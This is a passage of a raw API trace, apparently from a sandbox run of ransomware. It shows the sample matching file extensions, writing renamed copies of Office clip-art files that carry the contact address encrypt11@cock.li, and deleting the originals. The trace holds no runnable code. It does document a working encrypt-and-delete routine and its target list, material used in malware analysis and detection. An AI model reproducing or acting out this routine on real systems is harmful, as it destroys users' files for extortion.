lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.920] lstrlenW (lpString=".pdf") returned 4 [0147.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".xls") returned 4 [0147.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.920] lstrlenW (lpString=".xlsx") returned 5 [0147.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.920] lstrlenW (lpString=".ppt") returned 4 [0147.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.920] lstrlenW (lpString=".zip") returned 4 [0147.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.920] lstrlenW (lpString=".rar") returned 4 [0147.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".bz2") returned 4 [0147.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString=".7z") returned 3 [0147.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.920] lstrlenW (lpString=".dbf") returned 4 [0147.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.920] lstrlenW (lpString=".1cd") returned 4 [0147.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.921] lstrlenW (lpString=".jpg") returned 4 [0147.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.921] lstrlenW (lpString=".doc") returned 4 [0147.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".docx") returned 5 [0147.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.921] lstrlenW (lpString=".pdf") returned 4 [0147.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".xls") returned 4 [0147.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.921] lstrlenW (lpString=".xlsx") returned 5 [0147.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.921] lstrlenW (lpString=".ppt") returned 4 [0147.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.921] lstrlenW (lpString=".zip") returned 4 [0147.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.921] lstrlenW (lpString=".rar") returned 4 [0147.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".bz2") returned 4 [0147.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString=".7z") returned 3 [0147.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.921] lstrlenW (lpString=".dbf") returned 4 [0147.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.921] lstrlenW (lpString=".1cd") returned 4 [0147.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0147.922] lstrlenW (lpString=".jpg") returned 4 [0147.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.922] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.922] lstrlenW (lpString="HH00693_.WMF") returned 12 [0147.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.922] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=7098) returned 1 [0147.922] CloseHandle (hObject=0x384) returned 1 [0147.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0147.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.922] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.922] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.923] GetLastError () returned 0x0 [0147.923] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1bba, lpOverlapped=0x0) returned 1 [0147.924] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0147.924] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.924] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.925] SetEndOfFile (hFile=0x388) returned 1 [0147.925] CloseHandle (hObject=0x388) returned 1 [0147.925] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.925] SetEndOfFile (hFile=0x384) returned 1 [0147.925] CloseHandle (hObject=0x384) returned 1 [0147.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.926] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0147.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.926] lstrlenW (lpString=".doc") returned 4 [0147.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.926] lstrlenW (lpString=".docx") returned 5 [0147.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.926] lstrlenW (lpString=".pdf") returned 4 [0147.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.926] lstrlenW (lpString=".xls") returned 4 [0147.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.926] lstrlenW (lpString=".xlsx") returned 5 [0147.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.926] lstrlenW (lpString=".ppt") returned 4 [0147.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.926] lstrlenW (lpString=".zip") returned 4 [0147.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.926] lstrlenW (lpString=".rar") returned 4 [0147.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.926] lstrlenW (lpString=".bz2") returned 4 [0147.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.927] lstrlenW (lpString=".7z") returned 3 [0147.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.927] lstrlenW (lpString=".dbf") returned 4 [0147.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.927] lstrlenW (lpString=".1cd") returned 4 [0147.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.927] lstrlenW (lpString=".jpg") returned 4 [0147.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.927] lstrlenW (lpString=".doc") returned 4 [0147.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.927] lstrlenW (lpString=".docx") returned 5 [0147.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.927] lstrlenW (lpString=".pdf") returned 4 [0147.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.927] lstrlenW (lpString=".xls") returned 4 [0147.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.928] lstrlenW (lpString=".xlsx") returned 5 [0147.928] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.928] lstrlenW (lpString=".ppt") returned 4 [0147.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.928] lstrlenW (lpString=".zip") returned 4 [0147.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.928] lstrlenW (lpString=".rar") returned 4 [0147.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.928] lstrlenW (lpString=".bz2") returned 4 [0147.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.928] lstrlenW (lpString=".7z") returned 3 [0147.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.928] lstrlenW (lpString=".dbf") returned 4 [0147.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.928] lstrlenW (lpString=".1cd") returned 4 [0147.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0147.928] lstrlenW (lpString=".jpg") returned 4 [0147.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.928] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.928] lstrlenW (lpString="HH01013_.WMF") returned 12 [0147.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.929] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2848) returned 1 [0147.929] CloseHandle (hObject=0x384) returned 1 [0147.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0147.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.929] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0147.929] GetLastError () returned 0x0 [0147.929] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xb20, lpOverlapped=0x0) returned 1 [0148.128] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xb30, lpOverlapped=0x0) returned 1 [0148.129] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.129] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.129] SetEndOfFile (hFile=0x388) returned 1 [0148.130] CloseHandle (hObject=0x388) returned 1 [0148.130] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.130] SetEndOfFile (hFile=0x384) returned 1 [0148.131] CloseHandle (hObject=0x384) returned 1 [0148.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.131] lstrlenW (lpString=".doc") returned 4 [0148.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString=".docx") returned 5 [0148.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.131] lstrlenW (lpString=".pdf") returned 4 [0148.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.131] lstrlenW (lpString=".xls") returned 4 [0148.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.131] lstrlenW (lpString=".xlsx") returned 5 [0148.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.132] lstrlenW (lpString=".ppt") returned 4 [0148.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.132] lstrlenW (lpString=".zip") returned 4 [0148.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.132] lstrlenW (lpString=".rar") returned 4 [0148.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".bz2") returned 4 [0148.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".7z") returned 3 [0148.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.132] lstrlenW (lpString=".dbf") returned 4 [0148.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.132] lstrlenW (lpString=".1cd") returned 4 [0148.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.132] lstrlenW (lpString=".jpg") returned 4 [0148.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.132] lstrlenW (lpString=".doc") returned 4 [0148.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".docx") returned 5 [0148.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.132] lstrlenW (lpString=".pdf") returned 4 [0148.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.132] lstrlenW (lpString=".xls") returned 4 [0148.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.132] lstrlenW (lpString=".xlsx") returned 5 [0148.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.132] lstrlenW (lpString=".ppt") returned 4 [0148.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.133] lstrlenW (lpString=".zip") returned 4 [0148.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.133] lstrlenW (lpString=".rar") returned 4 [0148.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.133] lstrlenW (lpString=".bz2") returned 4 [0148.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.133] lstrlenW (lpString=".7z") returned 3 [0148.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.133] lstrlenW (lpString=".dbf") returned 4 [0148.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.133] lstrlenW (lpString=".1cd") returned 4 [0148.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0148.133] lstrlenW (lpString=".jpg") returned 4 [0148.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.133] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.133] lstrlenW (lpString="HH02298_.WMF") returned 12 [0148.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.133] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=5552) returned 1 [0148.133] CloseHandle (hObject=0x384) returned 1 [0148.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0148.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.134] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.134] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.134] GetLastError () returned 0x0 [0148.134] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x15b0, lpOverlapped=0x0) returned 1 [0148.135] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x15c0, lpOverlapped=0x0) returned 1 [0148.136] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.136] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.136] SetEndOfFile (hFile=0x388) returned 1 [0148.136] CloseHandle (hObject=0x388) returned 1 [0148.136] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.137] SetEndOfFile (hFile=0x384) returned 1 [0148.137] CloseHandle (hObject=0x384) returned 1 [0148.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0148.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0148.138] lstrlenW (lpString=".doc") returned 4 [0148.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.138] lstrlenW (lpString=".docx") returned 5 [0148.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.138] lstrlenW (lpString=".pdf") returned 4 [0148.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.138] lstrlenW (lpString=".xls") returned 4 [0148.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.138] lstrlenW (lpString=".xlsx") returned 5 [0148.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.138] lstrlenW (lpString=".ppt") returned 4 [0148.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.138] lstrlenW 